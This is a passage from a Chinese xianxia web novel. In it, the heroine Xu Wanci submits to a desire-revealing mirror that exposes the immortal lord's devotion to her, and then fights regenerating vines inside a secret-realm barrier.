他能感觉到,距离结界开放,只剩几天的时间了 只要这段时间没有人察觉到这里的波动,那至宝,就是他的了。 就在这时,一只七品漠钳蝎从结界边缘爬过。 本只是刚好能平衡的结界,倏地变薄了些许,仙气外泄,整个修仙界的渡劫修士,都察觉到了机缘的存在。 楚青川脸色瞬间僵硬。 以他现在的修为,根本不可能与那些尊者抗衡。 他心中满是绝望: 曾经他想要什么,就能够遇到相应的至宝,然后不费太多波折的将其得到。 不知从什么时候起,他身上的气运,只够让他找到机缘。 想要获得机缘,他必须经历九死一生的危机,才有可能得到它。 这一次,更是如此。 楚青川感受着天空中已经逼近的灵气,咬着牙躲在了他的小天地中。 * 太清宗中,所有人也都看到了至宝出世的异象。 许晚辞看着天空中的异象,目光平静而坚定。 原著中,并没有这个机缘的存在。 她对这个至宝毫不了解,也对它伴随着的危机一无所知。 可是,她根本没有想过放弃。 想要变得强大,想要掌控自己的人生,她从来都没有退路。 她只能向前。 更何况…… 她心中,还有一丝隐秘的想法,如果这次的机缘中,真的包含仙气,那她丹田中对带着仙息灵团的消耗,会不会少一点? 那梦境的存在,会不会多上几次? 这时,宁孟澜与太清宗几位长老,都来到了小院之中。 不知从什么时候开始,许晚辞的地位已经与几位长老等同,遇到宗门重大事务时,没有人会疏忽她。 木门处的大长老看到了她眼中的坚定,已经知道了她的选择。 他威严的面容之上,带着一丝无奈。 他是太清宗所有长老中,修为最高的那一个,若是得到机缘,他修为大概率能更上一层楼。 可是在看到许晚辞的目光之后,他压下了心中所有的想法。 到达渡劫后期之后,大多数修士,都能察觉到自己的那一丝天命。 想要飞升,天命才是必须。 只是还是有人想不开,想拼出一丝可能。 想到这里,大长老看向许晚辞的目光带着一丝温和: 他早在楚青川显露自己的气运时,就已经做出了选择。 他不会与楚青川争,更不会与许晚辞争。 如今的修仙界,需要第一个成功飞升的人。 只有有人成功飞升,修仙界才能得到圆满,也才能真正安定。 大长老扫了一眼来到小院的众人,身为长老之首,他有资格做出决定: “晚辞,你若想要这个机缘,太清宗必全力助你。” 许晚辞闻言面色一怔。 她知晓原著中,太清宗的众位长老为了让楚青川成功得到机缘,放弃了许多。 可是当这一切发生在她身上时,她却如何也做不到心安理得。 她若想得到什么,会自己去争抢,不需要他人舍弃自己利益的帮助。 更何况,她对自己有信心。 她抬起头,看着大长老的目光认真: “大长老,机缘哪有相让的道理。” “今日的机缘,更是关系甚大,若是众位长老有幸得到,晚辞只会祝贺。” 说到这里,她声音带上了几分笑意: “虽说我如今修为只是大乘,可神识已经能与众位长老相媲美,怕是也有可能凭自己之力,得到机缘。” “到时,还望各位长老不要怪罪。” 听到她的话,所有长老都愣在了原地。 让出机缘,他们当然也会不舍。 只是他们早已经习惯了宗门为重,举全宗之力,培养一个最有可能得成大道的人。 这是所有人默认的规则。 二长老看着许晚辞眼中的认真,心中涌入了一股暖流: 明明只要她默认,太清宗所有人都会为了让她得到机缘而努力。 可她偏偏当着所有人的面,选择放弃。 她轻笑着应答:“好。” 只是不管是她,还是其他长老,心中都已经有了决定。 比起曾经的楚青川,他们更甘愿让许晚辞得到机缘。 * 几个时辰后,太清宗众人便来乘着飞舟到了七冶大漠。 此次整个修仙界都看到了异象,已经有不少宗门与世家在此等候,包括江家。 江泽定定地看着一袭蓝衣的许晚辞。 魔界之后,他便再也未曾见过她。 一开始,是因为养伤;后来,是因为不敢。 越是在意,就越不敢上前。 他听着自己无序的心跳,声音带着一丝沙哑: “晚辞,好久不见。” 许晚辞听到声音,抬头向他看去。 看到江泽的身影后,她唇角扬起一个客气的轻笑: “墨泽尊者。” 她声音带着谢意: “魔界之中,多亏尊者相助。” “如今尊者的伤势,可好些了?” 江泽听着她生疏客气的声音,心中的情绪一点点静了下来,他心中带着几分自嘲: 他去魔界之行,根本未伤及根本。 可是许晚辞先是以齐云丹相赠,后又赠与江家命寿花。 她的回赠,远远超过了他的付出。 她对他,从来都这样界限分明。 在她心中,好像划了一条界限,没有任何人能够逾越。 江泽的声音低哑: “我的伤势早已无碍,晚辞不必担心。” 不等他继续开口,其他宗门的宗主长老,就已经一脸和善地来到了许晚辞身边。 他们一到此处便探查过了,距离结界消散还需数个时辰。 这段时间中,无论他们怎么动作,都不能对结界造成任何损伤。 就算机缘再大,他们在结界消散的这段时间中,也没有任何办法。 所以,看到许晚辞的身影后,众人全都不动声色地围了上来。 她可是不亚于此次机缘的存在。 机缘只能惠及一人,可是许晚辞却能帮助他们所有人了结因果! 平时有宁孟澜在那里挡着,他们根本就没有见她的机会。 就连脾气最为暴躁的烈焰尊者看她的目光,也都努力掰出了一副温柔的表情。 小天地中,楚青川看着许晚辞的身影,猛地攥紧了双手: 她为什么会来?! 若是只有其他尊者,依照他的气运,他还有获得机缘的可能。 可若是和许晚辞对上,他根本没有几分胜算。 从宗门大比开始,他就从未赢过她。 更何况如今,他不仅气运被削减,身上的伤也还未恢复。 看着许晚辞被众星捧月一般的样子,楚青川蓦然闭上了双眼。 曾经,被所有人这样对待的人,是他。 而如今的他,却只能如同一只人人喊打的老鼠,躲在角落里,不敢让任何人发现。 他心中满是嫉妒与恶意: 许晚辞不是为了仙尊不顾一切,连修为与大道都能放弃么? 这里的机缘,可是与仙尊毫无关系,她为什么会来?! 像是想到了什么,他无声地睁开了双眼: 是啊,这里是一个和仙尊无关的地方。 许晚辞来这里,只有一个可能。 就是和所有人一般,为了机缘而来。 为了飞升的机缘。 楚青川忽然想到了自己一开始的疑惑: 为什么许晚辞能够抵御迷魂石与万灵水,为什么她能毫不犹豫地对伪装成仙尊转世的他下手? 如果,她并非真心喜欢清衍仙尊,那一切都有了答案。 他眯起眼睛,仔细地回忆着这段时间许晚辞身上的经历。 一开始,许晚辞主动承认与清衍仙尊的关系的地点,是执法殿。 若是她没有开口,如今的她早已经因为暗害江家少主,被执法殿的长老处决。 接下来,她对自己用了断魂骨。 那一次轰轰烈烈的自裁,盖住了所有人的怀疑。 可是现在想来,在她自杀之前,不管是他还是几位长老,都在怀疑她说的话,也都有方法可以试探。 可她自杀之后,便再也没有人敢继续追问。 她只是自杀了一次,还被长老救下,却完全摆脱了死局,还成为了太清宗必须护住的人。 想到这里,楚青川好像发现了什么惊天秘密一般,心跳不受控制的变快: 若是许晚辞在之前,和他一般,见到过仙尊的虚影,更甚者遇到过与仙尊有关的机缘,那知晓仙尊的事情,也并非完全没有可能。 毕竟,她在怀念仙尊的同时,丝毫没有耽误自己的修炼,如今修为已是大乘。 哪怕她使用无相神石祈愿仙尊醒来,也是在修仙界众目睽睽之下。 她若是为自己祈愿,怕是下一刻,就会被所有尊者的灵气撕碎。 楚青川胸口无声的起伏着: 他能为了得到气运,假装仙尊转世;为什么许晚辞就不能为了活下去,假装深爱仙尊呢? 毕竟,仙尊挚爱这个身份,能带给她的,太多了。 他强行让自己忽略了许晚辞几次为了仙尊生死一线的经历,也忽略了她能使用仙尊神器,能不被仙尊灵气震慑的事情。 他把一切问题,都归结于许晚辞气运极好,得到过相关机缘。 他心中只有一个念头: 这个世界上,根本不会有人会为了另一个人拼尽一切。 除非有利可图。 就在这时,顾云绮像是察觉到了什么,猛地转头,看向小天地所在的方向。 如今她对阵法的钻研,已经登峰造极,所以对空间的波动,也分外敏感。 她一挥手,一道灵气直冲小天地而去。 下一瞬,楚青川的身影狼狈地跌在了众人眼前。 看到他后,有不少修士都皱起了眉头: 楚青川得到的机缘,有不少在他们宗门\世家的地界之上,有些甚至是在他们眼皮子底下被他明目张胆的带走。 只是碍于太清宗与江家的关系,碍于他气运之子的身份,他们只能装作没看见,毕竟,那也算是无主之宝。 可是如今,所有人都知晓了他的本性。 能对自己宗门下次狠手的人…… 所有人看他的目光,都冷漠鄙夷。 宁孟澜更是一挥衣袖,直接让人将楚青川丢出七冶大漠。 楚青川被灵气束缚,动弹不得。 感受着周围众人或嘲讽、或厌恶的目光,他恶狠狠地看向不远处一身蓝衣,万众瞩目的许晚辞。 他扒在原地,指缝都有了血迹: 他不能离开。 他有预感,若是离开这里,他此生便再没有可能与许晚辞相争。 想起方才的推测,他再也顾不上其他,用出了自己身上最后一个护身灵宝,护住自己的身体,然后抬起头,对着许晚辞质问: “许晚辞,你真的深爱清衍仙尊么?” 他本想等此次机缘之后,再慢慢找寻证据。 可现在看来,哪里还会有比如今更合适的时机? 在这么多人的注视下,她根本没有办法转移话题,也不能隐瞒,只能回应他的疑问。 所有人都知晓许晚辞对仙尊之爱有多深,也看过了她几次生死一线时的模样。 所以在听到楚青川的话后,所有人根本没有怀疑她,反倒是担心她被勾起了伤心事。 宁孟澜更是收紧了灵气,想直接让楚青川闭嘴。 不只是宁孟澜,江泽与季妄两人的威压也毫不犹豫地朝着他身上倾泻而去: 即使有法宝护体,楚青川依旧口吐鲜血,他忍着身体的剧痛说出了自己的怀疑。 从执法殿到无相神石,再到如今的飞升机缘。 最后支撑他身体的灵宝在众人的施压下彻底碎裂,他猛地吐出一口鲜血,依旧咬着牙道: “许晚辞,你若是真的爱仙尊爱得想与他同生共死,那你为什么要得到今日机缘,又为什么日夜不息的修炼?” “从执法殿到今日,这样短暂的时间,你却从金丹提升到了大乘。” “真是好手段。” 这时,已经有几个刚出关不久的尊者微不可查地皱起了眉头: 这楚青川,说得似乎也有点道理。 只是绝大多数尊者,都见到过许晚辞的作为,还有不少人从她身上了结了因果,所以他们只觉得楚青川是胡乱攀咬。 有尊者担忧地朝着不远处的许晚辞看去。 许晚辞的表情,从始至终都从容平静。 即使楚青川说出了她来到修仙界后每一步的目的,她的视线依旧淡淡地看着前方的结界,连心跳都没有快上一分。 从谎言出现的那一刻,她面对的怀疑就从未停止。 今日面对的场景,比执法殿,比无相神石之时,都轻松太多。 至少绝大多数的人,早已经对她与仙尊之事深信不疑。 更何况,楚青川既然这样问,只能说明一切都是他的推测,他根本没有证据。 所以,她根本不需要回应。 她真正需要在意的,是他的后手。 楚青川看着所有人都根本不信任他,甚至想要废掉他为许晚辞出气的目光,赶紧在他们动手前道: “许晚辞,你敢进问心镜么?” 能看清人最真实欲望的问心镜,是他气运强盛时偶然所得,却鲜少用过。 如今要想活下去,他只能一条路走到黑。 许晚辞与仙尊无关这件事,纵然他自认为说服了自己,可终究也只有三成把握。 但就算和他猜测的不一致,她与仙尊真的相识。 可过去了百年,她还真的能爱他如初? 她这段时日做的事情,都是为了提升自己的修为,可并非是为了仙尊。 他有七成的把握,许晚辞如今最真实的欲望,与仙尊无关。 楚青川感受着自己在众人威压之下,已经碎了一半的丹田,一字一句道: “若是你进问心镜,我就把仙尊的神器炼神书,拱手相让。” 第82章 那个身影是百年前的……清衍仙尊 楚青川说完后, 趁着众人怔愣的时刻,忍着丹田的剧痛,手中灵光一闪,问心镜就出现在了众人面前 。 问心镜有一人高, 镜身上铭刻着许多失传的符文, 随着阳光的照射, 符文也随之流转。 镜面则是一片漆黑, 连一丝光亮都不曾有。 这是修仙界失传了千年的灵宝, 能看清修士心中最真实的欲望。 就连渡劫尊者进入, 也根本无法挣脱问心镜的控制, 只能直面自己的欲望。 这种能无视修为窥探人心的至宝,从来难得。 想到这里,有尊者若有所思地看了一身狼狈的楚青川一眼: 这面镜子居然在他手中。 这般气运, 也难怪之前所有人都觉得他会是那个可以成功飞升的气运之子。 顾云绮也认出了问心镜, 她护在许晚辞身前, 面色极冷: “不可能。” “太清宗永远不可能让许晚辞冒险。” 宁孟澜一挥衣袖,也毫不犹豫道: “楚青川,念在曾经的师徒情谊, 本宗主留住了你的性命。” “可你若是依旧执迷不悟,想要伤害许晚辞,那太清宗也不会再对你留手。” 太清宗所有人的第一反应都是拒绝。 纵然楚青川说了那么多, 可根本没有人相信他的话。 比起自私自利的楚青川, 许晚辞才是他们甘心愿意举宗门之力帮助其获得机缘的人。 听着太清宗众人的严词拒绝之语, 角落里的白家主对身边的长老递了一个眼神。 这位长老适时开口: “宁宗主爱惜弟子之心,实在让人感动。” “只是问心镜只能让人看清修士的欲望, 并不会伤害修士本身,所以倒也算不上什么危险。” 不远处一位尊者也附和道: “是啊, 只是一面镜子,若是一昧退避,倒是让人觉得疑惑。” 顾云绮一点面子都没有给他留: “既然华雨尊者觉得没什么大不了的,那就请尊者先进问心镜为我等探探路。” 华雨尊者闻言恼羞成怒地一甩衣袖: “问心镜本是为许晚辞准备,与本尊何干?” “三长老莫要胡搅蛮缠。” 顾云绮冷冷地把他的话还给了他: “只是一面镜子,一昧退避,倒像是尊者心中有鬼。” 华雨尊者脸色漆黑:“你!” 顾云绮并未继续看他,只是沉声道: “太清宗从不接受威胁。” “楚青川,你打错算盘了。” 楚青川看着太清宗众人将许晚辞护得密不透风的模样,眼中已经带上了猩红的血丝。 曾经他才是那个被他们护在身后的人,可因为许晚辞,一切都变了。 他看向许晚辞,声音带着阴狠的决绝: “炼神书是我契约的神器,一荣俱荣,一损俱损。” “你若是不进问心镜,那就只能让炼神书同我陪葬了。” 他如今身上的灵宝几乎都已经消耗殆尽,只剩下了神器炼神书。 用一个他已经用不了的神器,来换许晚辞进入问心镜……很合算。 无论她是否真的与仙尊有关,只要他拿出炼神书,在众目睽睽之下,她不想去也得去。 谁叫她‘深爱’仙尊呢。 听着楚青川的话,宁孟澜下意识看向许晚辞,眼中带上了一丝担忧: 他们纵然修为高深,却也不可能越过神器之主将炼神书取来。 许晚辞第一次看向楚青川。 她知道,他已经堵死了她所有的后路。 若是她不进入问心镜,抽身离去,那本来相信她谎言的人,心中怕是也会有所怀疑。 更何况,有炼神书在,她更不可能轻松脱身。 问心镜啊。 许晚辞指尖微动: 原著中,也有问心镜的存在。 当时楚青川被娇媚可人的白挽衣吸引,想左拥右抱共享齐人之福,还能一同得到江家和白家的助力。 可白挽衣虽然对他深情,却始终不愿意答应与他相守,后来他偶然得到问心镜,用在了白挽衣身上。 于是,他就见到了她内心最真实的欲望。 一个成功飞升,高高在上,美男环绕还将他踩在脚底百般凌辱的白挽衣。 她根本就不爱他,接近他,只是为了利用他身上的气运强大自身,强大白家。 看清她的野心后,楚青川幡然醒悟,与白家决裂,从此决心和江秋宁一生一世一双人。 想到这里,许晚辞垂眸遮住了眼中的嘲讽。 问心镜勾勒的是入镜中人的欲望,三叶莲针对的是与神识有关的幻境幻阵,面对问心镜,怕是作用不大。 若是在曾经,这种情况对她而言堪称绝境。 因为她的欲望,只关乎自己,只关乎强大。 可是现在…… 不管她心中如何理智,她都不得不承认,梦境中人对她的影响。 可是曾经,她只能任由自己忽略。 她逼自己分清梦境与现实,然后在现实中,将所有的心动牢牢压制。 想到这里,许晚辞目光依旧淡然: 她一点点放大着心中有关那人的所有。 楚青川看着依旧未曾开口的许晚辞,又看着太清宗众人看向他时怀疑警惕的目光,他笑得讽刺: 他们都不信他。 可是他们却信许晚辞,一个从始至终都未曾开口,连问心镜都不敢进入的许晚辞! 楚青川忍住所有的想法,步步紧逼道: “我以天道起誓,只要许晚辞进入问心镜,我必把炼神书赠与她。” “若有违背,必定修为尽废,万箭穿心而死!” 他要让所有人,都看清许晚辞这个虚伪小人! 许晚辞的目光不像楚青川想象的那样惊慌失措,强装镇定,她只是安静而沉默地看了他一眼,随即从容平静地朝着问心镜走去。 在融入镜面的那一瞬,所有人都听到了她陈述事实一般不带任何情绪的声音: “楚青川。” “你从来都不配拥有炼神书。” 许晚辞在进入问心镜的那一刻,意识便开始恍惚。 她浓密的睫毛微微颤动: 她有几成的把握呢? 六成啊。 许晚辞缓缓闭上眼睛: 纵然她能放大自己的内心的欲望。 可六成的概率,让她无法逃避地意识到,她对他的在意。 问心镜外,所有人都看到了镜面上显现的场景。 一片蓝色的化雨昙花海中,许晚辞的身影逐渐清晰。 她身上穿着太清宗外门的弟子服,修为堪堪练气,面容也带着一股未经世事的稚嫩。 她坐在蓝色的花海中,仿佛是有些困了,眼睛缓缓闭了起来。 她一句句地说着自己的期望: “我想要变得强大。” “我想拥有世间顶尖的天赋,顶尖的修为,能掌控自己的人生。” “我想,自由自在的活着。” 问心镜外,听着她的声音,楚青川挣扎着站起身,眼中满是疯狂的笑意: “你们听,她的欲望从来都是为了自己!” “什么情深似海,什么生死与共,都是假的,她假装自己深爱仙尊,都是为了让自己变强,为了修炼!” “你们看她因为仙尊挚爱的身份得到了多少!” 这时,也有不少尊者皱起了眉头: 想要变强没有错。 所有修士修炼的最终目的,都是变得强大,得成大道。 只是许晚辞一直以来的表现,都是不顾自身,为了清衍仙尊不管不顾…… 她的欲望,与她一直以来的表现,可谓是相差甚远。 这时,一道冰刃将楚青川的手腕刺穿。 江泽掌心带着丝丝缕缕的寒气,声音更是寒意彻骨: “楚青川,我不介意在众人面前废了你。” 对于他而言,许晚辞远才是唯一值得在意的人。 他对她的感情,从始至终都是因为她自己,与任何人无关。 他宁愿希望那些曾经是假的,这样,她的百年过得便不会那样痛苦。 可是他更清楚,那不可能是假的。 江泽看着问心镜中的那一片化雨昙花田,周身的气息逐渐收敛,直到归于一片死寂。 楚青川被击中的右手已经被寒气冻结,他咬牙切齿道: “就算我不说又如何,所有人都看到了!” “看到了她的欲望!” 这时,在白家主的示意下,几位尊者沉声道: “看来许晚辞和她表现的,似乎有些不同。” “难道她真的如同楚青川所言,骗了你我?” “是啊,墨泽尊者难道就不曾怀疑?” 就在已经有尊者出声质疑时,问心镜中的场景,变了。 这一次,是一片幻颜树林中。 许晚辞的修为仿佛精进了些许,她看着前方,笑得灵动而真实。 这是所有人都没有见过的许晚辞。 没有死寂一般的平静,没有承载百年的悲伤,只是如同寻常修士一般,欢快的游走在幻颜树林中。 不知是看到了什么,她唇角的笑意多了几分亲近。 她认真地诉说道: “我想成为这世界上最强大的人,能够保护自己,能够不怕任何危险,自由自在的活着。” “我会为了这个目标一直努力,无论身边有没有其他人陪伴。” “这个目标,不会被任何人改变。” “即使是我喜欢的人离开了我,我也只会伤怀几日,便接着修炼,努力让自己变得强大。” 接连的两个场景,许晚辞在这两个场景中的言语,让不少相信许晚辞的尊者心中都带上了几分疑虑。 楚青川更是笑得近乎癫狂: 他仿佛已经看到了许晚辞从问心镜出来后,跌入泥潭,被万人唾弃的场景。 她如今的修为,如今的优待,都会化为乌有。 从今日起,他才是唯一的气运之子,唯一能够飞升的气运之子! 直到,问心镜中传来了另一个人的声音。 这个声音轻得仿佛一片飘雪,静谧中带着专注的温柔,他轻声应答: “本应如此。” “这世间,不应该有任何一个人,比你自己更重要。” “如果那个人真的爱你,那他自然会回到你的身边。” 明明只是一个声音罢了,一个温柔至极还只是问心镜中一个虚影的声音。 可所有人在听到这个声音的那一瞬,仿佛察觉到了什么极致的危险一般,心跳倏地变快。 他们下意识用灵气护住身体,凝神定息后,才敢继续看向问心镜。 问心镜中许晚辞好奇地问道: “那他若是没有回来呢?” 一个身影一步步走到了她的身前: “那就只能说明他不够爱你。” “忘了他。” 听到这里,不少人心中忽然涌现出了一个不可思议的念头。 只是很快,他们就把这个念头压了下去。 怎么可能?! 一定是他们想多了! 对于那人的敬重和畏惧,让他们心中哪怕只是升出了一丝想法,都不敢再继续。 问心镜中的许晚辞听到身前人的话,抬起头认真地看着他: “包括你么?” 这一刻,所有人终于看到了她身前的那个身影。 他一身月白,周身仿若带着静寂之巅的霜雪,清清冷冷却又敛尽风华。 只是一个模糊的侧影,他们却好像从这个侧影上看到了世间法则与万物流转。 这是一个他们只见一眼,就想俯首的身影。 可是就是这样一个强大到足以颠覆整个修仙界的存在,对身前人却有一种近乎小心翼翼的温柔。 他说:“尤其是我。” 当我离去后,你一定要忘了我。 然后为了自己,好好活下去。 去如你期望的一般,变得强大,永远自由。 就在这时,他仿佛发现了什么,跨越百年投来虚虚的一瞥。 下一瞬,问心镜镜面片片碎裂。 一道碎虚至尊的灵气震荡开来。 周围的众人用尽灵力抵抗,才堪堪护住了丹田,修为稍低的修士已经唇角溢血。 至于问心镜的主人楚青川,更是重伤濒危,身上的修为也从大乘退到化神,最后停留在了元婴。 所有人都知晓了镜中人的身份。 百年前的……清衍仙尊。 第83章 原来仙尊,才是两人中的那个下位者 问心镜外, 鸦雀无声,遍地死寂。 再无一人怀疑许晚辞与仙尊的关系。 等到碎虚灵气散去几息后,终于有尊者忍住心中的战栗,直起了上半身: 这个世间, 根本不会有其他存在, 只是一个虚影, 便能震慑住修仙界所有的渡劫尊者。 除了百年前的清衍仙尊。 那个修仙界唯一的碎虚至尊 他们只能仰望, 根本不敢直视的强大存在。 有尊者缓缓吐出一口气, 眼中依旧带着残留的敬重与震撼: 他们本以为以仙尊的身份, 哪怕再喜欢一个人, 大抵也只是在淡漠之下,偶尔施舍一些在意。 毕竟那时的许晚辞修为太低,低到对于他们渡劫修士而言, 都如同蝼蚁一般, 更何况当世最强者的仙尊。 怕是只有些许的善待, 就足以令她感激涕零,难以忘怀。 根本没有人想到,原来许晚辞与仙尊的相处, 居然是这样。 高高在上,世间唯一的碎虚至尊,在一个练气弟子面前, 会收敛所有的气息, 声音温柔到近乎小心翼翼, 就连动作,都轻柔而克制。 就好像, 他才是两人中的那个下位者。 可他明明是这世间最强大的存在,是挥手间就能移山倒海, 甚至能影响天道运转的至尊啊。 想起方才从问心镜中听到的对话,不少人心中一颤: 仙尊对许晚辞的在意,已经超过了他们最大限度的想象。 在知晓祭天的结局之后,仙尊对她的期望,居然是……忘了他。 想到这里,有尊者目光带着一丝叹息的了然: 这样的仙尊,这样的情爱…… 也难怪能让许晚辞百年不忘。 太清宗众人眼中也是相似的震撼。 他们虽然早已知晓仙尊为许晚辞做得那些事情,可这却是他们第一次亲眼见到二人的相处。 可是在震撼之后,他们心中更多的,却是对许晚辞的心疼: 曾经那个向往自由、向往强大,灵动坚定的许晚辞,却在仙尊祭天后的百年,变成了如今的模样。 死寂、平静,再也不顾惜自己的性命,一次次的游走在生死边缘。 她放弃了曾经憧憬的自由,甘愿被过往的记忆困住。 如今她不顾一切,日夜不息的修炼,真是为了自己么? 还是为了那人的期望?为了找寻那个人活着的那万分之一的可能? 她把自己活成了曾经最不想成为的模样。 可那人对她最大的期望,明明是……忘了他。 她是不想做,还是做不到? 亦或者,二者都有? 谢听白看着一点点碎裂的问心镜镜面,眼中带上了一丝自嘲的苦涩: 这一刻,他彻底明白,他等不到了。 等不到许晚辞回头的那一天。 无论是百年,还是千年,她的选择,从不会变。 他是一个连付出都吝啬的希望能得到更大回报的人。 这样的他,永远也不可能如仙尊一般无所求的对她,也永远都不可能被她所爱。 他静静垂眸: 总归,还能看着她的背影,也就够了。 不远处的江泽和他谢听白的想法相似。 即使早就已经清楚的知晓许晚辞不会爱他,可是在看到这一幕的同时,心中的疼痛依旧让他微不可查地皱起了眉头。 他沉?? 默地闭上双眼: 仙尊对她……很好。 比他对她,好得多。 这样,就已经足够了。 就在众人怔愣之时,许晚辞的身影从碎裂的镜面中逐渐显现。 在她脱离镜面的那一刻,问心镜彻底湮灭,消散在了天地之间。 许晚辞并没有镜中的记忆。 她不着痕迹地扫过众人的表情,心中稍安。 这一关,她过了。 静下心来后,她敏锐地察觉到了众人平静之下隐隐的震撼,就好像方才见到了什么不可思议的事情一般。 许晚辞指尖微动: 是因为她么? 因为她方才在问心镜中显现的内心? 就在她稍有疑惑时,重伤的楚青川看着她的身影,终于回过了神。 此刻,他根本就感受不到身体的疼痛,只是癫狂地喃喃道:“怎么可能?” “假的,一定是假的!” “一定是你对问心镜做了什么手脚!” 这时,神器炼神书顺应誓言,从他的识海中挣扎着离开,然后安静而亲切地落在了许晚辞的身边。 楚青川颤抖地伸出手,却最终什么都没有留下。 最先反应过来的,不是太清宗众人,而是白家。 白家主早在看到问心镜中的场景时,心中便有了决断。 现在无论怎么看,一个修为倒退、灵宝尽毁的楚青川,都不可能与许晚辞相抗衡。 最终能够飞升的气运之子,只有一个。 白家一直把赌注压在了楚青川身上,为此方才不惜隐晦的得罪许晚辞,如今必须及时止损。 白家已经落后了其他宗门世家太多,现在想要讨好太清宗,讨好许晚辞,必须做出其他人想做却不敢做的事情。 比如……对另一个气运之子下手。 白家主眯起双眼: 各大宗门世家虽然都对楚青川厌恶非常,却也默契的并没有对他下手。 不只是因为太清宗和江家的震慑,更是因为气运,他们生怕动手后有疏漏,会给楚青川卷土重来的机会,所以宁愿当做看不到他的作为。 想到这里,白家主一挥手,一道灵气直接贯穿了楚青川的丹田。 他声音带着雷霆之怒: “楚青川,我白家一直对你礼遇有加,你居然偷偷融合白家流传了几百年的至宝——玄冥蛊!” “那可是我白家的至宝啊!” 随着他的质问,楚青川身上的玄冥蛊灵气,也适时弥漫开来。 在玄冥蛊的操控之下,楚青川睁大双眼,双唇不断开合,却什么都说不出来。 白家主扫了他一眼,随即对着宁孟澜满是歉意地行了一礼: “方才是我失态,越过您惩处了楚青川。” 说到这里,他无奈地叹了一口气: “只是宁宗主,您也知晓玄冥蛊对白家有多重要。” 宁孟澜看了一眼已经晕厥的楚青川,心中五味杂陈,最终他只是转过头,声音淡漠: “楚青川和太清宗已经没有任何关系。” “有因有果,白家主自便。” 白家主并不意外他的回答。 楚青川的气运只是略逊于许晚辞,超过了绝大多数的修士,怕是死在这里,都有可能夺舍重生,所以太清宗最终都没有对他下死手。 可只要玄冥蛊在,白家就能让他一直活着,只能一世都留在白家。 只是…… 白家主余光看了一眼不远处的许晚辞,眉宇带上了一丝慎重。 他真正想讨好的人,却从始至终都未曾开口。 许晚辞根本没有在意周围发生了什么,她的神识感受着不远处结界的波动,一只手落在了手腕处九霄剑化作的手环上: “结界,要开了。” 这时,其他尊者也察觉到了不对,皱眉朝着前方看去。 在所有人的注视之下,本来所有人都看不见的结界,逐渐显现。 大长老用灵气试探之后,沉声道: “这是一个只有大乘和渡劫修士才能进入的结界。” 说到这里,他和周围几位太清宗长老对视了一眼: 仅仅只是进入便有如此高的要求,结界之中的危险,绝不容小觑。 他们必须尽可能的在其中,护住许晚辞。 这时至秦宗宗主最先走了出来,她看着前方的结界,对着太清宗众人行了一礼,声音坚定: “此行,便各看手段了。” 他们都知道许晚辞的身份,但也不会因为她的身份,将机缘拱手相让。 宁孟澜也回了一礼,他认真道: “本应如此。” 接下来,所有修士的身影都陆陆续续的消失在了结界之中。 许晚辞也并未犹豫,与太清宗众人一同走了进去。 算上神识,她如今的修为也不比渡劫初期的修士低上多少,就算结界中有危险,她也有把握护住自己。 进入结界后,是一片绿意盎然的原野。 原野上随处都是低阶的绿行草,其中时不时有一株高品阶的灵植穿插其中,看起来像是一个小型的秘境,灵气也并不算充足,看起来并没有什么危险。 进入结界中的修士,都聚集在此处,并未分散。 许晚辞看着周围看似安全的场景,心神依旧没有丝毫放松。 就在这时,她忽然察觉到脚下的灵气似乎有些不对,她还没来得及出声提醒其他人,一道藤蔓猛就地从地下钻出,直冲她的要害而来。 许晚辞持剑的右手一扫,藤蔓应声而断,落在了绿行草中。 其他人进入结界的修士,也在同一时间被灵植袭击。 这些灵植品阶很低,根本不曾对众人造成什么威胁就被砍断。 可众人还来不及放松,就见到刚才已经被他们毁掉的灵植瞬间拼合,品阶也有所提高,接着朝他们袭来。 一时间,进入结界的每个修士,都被这些可以复生的灵植围住,无法逃脱。 只要杀了它们一次,接下来,它们就会变得更加强大。 可若是不杀它们,它们又会在打斗的过程中,吸收他们的灵气壮大自己。 只要他们身处结界之中,就会成为他们变强大的养料。 许晚辞侧身闪过张扬而来的藤蔓,目光带着几分凝重: 进入结界之后,所有的灵宝符箓都会失效,她只能以自身灵气抵挡。 可偏偏这些灵植以灵气为食,她攻击的次数越多,它们就会变得越发强大。 烧、困、冻、阵、风…… 所有的方法周围的修士都试过了,只要与灵气相关,这些招式就都会被灵植吸收。 许晚辞感受着身后无声的灵气,足尖点在了身侧的藤蔓之上,堪堪躲过了身后的袭击。 如今攻击她的藤蔓,已经从一根变成了四根,修为也已经与化神相当。 再这样下去,这些藤蔓很快就能与她的修为等同。 她余光扫了一眼不远处的太清宗众人,他们也都被灵植围攻,不敢杀,不敢打,只能勉力躲闪着,体内的灵气也随着动作一点点减少。 修为越高的修士,产生的灵气也就越多,所以他们需要面对的灵植,也就越强大。 就在许晚辞分神的这一瞬,又是一道藤蔓朝着她胸口而来, 她在看到前方藤蔓的时候,同时察觉到了自己身后和身侧传来的危险,她左手撑地,一个翻身躲过了四根藤蔓共同的袭击。 不知是不是结界已经吸收了足够的灵气,这些灵植的动作越来越灵活。 只是躲避,根本不足以完全抵挡它们的攻击。 面对藤蔓编织的天罗地网,许晚辞没有办法,只能一剑斩断它们共同的根系,即使她知道它们复生之后的修为,会与她等同。 就在九霄剑击中藤蔓的那一瞬,许晚辞忽然察觉到了一丝隐匿得极好的灵气波动从断裂的藤蔓上离去。 若不是她的神识强大,若不是她对灵气极为敏感,若不是这一丝灵气波动带着她方才的剑意,她怕是也根本不会察觉。 只是刚才的灵气波动太过微弱,她根本没有办法判断它究竟去了何处。 就在这一息间,藤蔓已经再次复生。 这一次,藤蔓从四根,变成了六根,修为也已经与大乘中期的修士等同。 许晚辞从方才的游刃有余,逐渐变得相形见绌。 她一边躲开藤蔓的攻击,一边在心中冷静地思考刚才感受到的灵力波动: 这么多的灵植,不可能毫无依据的复活,最大的可能,是结界中有个什么灵宝,能控制它们。 方才那一丝离去的灵气波动,极有可能是藤蔓在复活之前,将她的灵气转移到了那个灵宝之上。 杀了藤蔓这么多次,只有那一次她所有察觉。 所以,很可能是藤蔓的等级越高,灵气波动就越明显。 想到这里,许晚辞看着六根藤蔓相交的那一个致命点,心中已然做出了决定。 再这样继续下去,她根本不可能赢得了无限复生的藤蔓。 还不如拼一把。 只要找到那个背后灵宝的所在,便能阻止它们的复活。 即使她知晓,这一次过后,藤蔓的修为足以与渡劫修士相当,是她勉强自己也无法抵挡的修为,可她别无选择。 许晚辞找到藤蔓的漏洞,手中的九霄剑快到了极致。 一剑过后,六条藤蔓应声而落,再无生息。 